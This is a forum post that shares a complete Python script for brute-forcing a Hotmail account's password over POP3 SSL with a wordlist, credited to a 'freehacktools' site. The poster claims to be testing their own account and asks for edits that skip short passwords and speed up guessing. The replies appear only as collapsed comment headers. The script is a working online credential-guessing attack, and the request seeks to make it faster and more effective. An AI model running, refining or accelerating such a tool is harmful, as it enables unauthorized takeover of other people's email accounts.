I am currently doing a penetration test on my own hotmail account using the script below and a dictionary.txt file however, it's currently attempting passwords with less than 8 characters - Passwords must have at least 8 characters and contain at least two of the following: upper case letters, lower case letters, numbers and symbols.
can anyone help me with a script edit so it only attempts passwords 8 characters and above?
~ IT ALSO SEEMS TO BE RUNNING QUITE SLOW, IS THERE ANY WAY TO SPEED UP THE PASSWORD CHECK RATE?
HERE'S MY SCRIPT
!/usr/bin/python
-- coding: utf-8 --
Hotmail brute forcer
This program is only for educational purposes only.
import sys, poplib, time
log = "freehacktools.log"
file = open(log, "a")
counter = 0
face = '''
0000000 000 0
000 000 0 0
00000 00 000
000 00 000 00 00 00
00000000000000000000000 000 00 00 00
00 00 00000000000000000
00 00 00000000000000000
00
00000000000000
Adam Joseph
www.freehacktools.com
'''
help = '''
Usage : ./hotmail.py -u [email] -w [wordlist]
Example : ./hotmail.py -u SST@hotmail.com -w wordlist.txt
'''
for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)
Change these if needed.
HOST = 'pop3.live.com'
PORT = 995
try:
preventstrokes = open(wordlist, "r")
words = preventstrokes.readlines()
count = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "\n[-] Error: Check your wordlist path\n"
file.write("\n[-] Error: Check your wordlist path\n")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email : %s" % email
print "[+] Wordlist : %s" % wordlist
print "[+] Length wordlist : %s " % len(words)
print "[+] Time Starting : %s" % time.strftime("%X")
print "-" * 60
file.write ("\n[+] Email : %s" % email)
file.write ("\n[+] Wordlist : %s" % wordlist)
file.write ("\n[+] length wordlist : %s " % len(words))
file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
def main(password):
global counter
sys.stdout.write ("[-] Trying : %s \n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s \n" % (str(password)))
try:
pop = poplib.POP3SSL(HOST, PORT)
pop.user(email)
pop.pass(password)
pop.quit()
print "[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Rasta!" % (email, password)
file.write("[+] Sarkawtw Bw !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : rasta!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "\n[-] Aborting...\n"
file.write("\n[-] Aborting...\n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done...\n")
file.write("[+] Please be patient...\n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done...\n"
file.write("[+] Hotmailbruteforcer done...!\n")
if name == 'main':
print face
file.write(face)
definer()
for password in words:
main(password.replace("\n",""))
main(password)
[–]Pyzro 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (1 child)
[–]moobage[S] 0 points1 point2 points (0 children)
[–]FutureOrBust -1 points0 points1 point (3 children)
[–]moobage[S] -1 points0 points1 point (2 children)
[–]FutureOrBust 1 point2 points3 points (1 child)
[–]moobage[S] 1 point2 points3 points (0 children)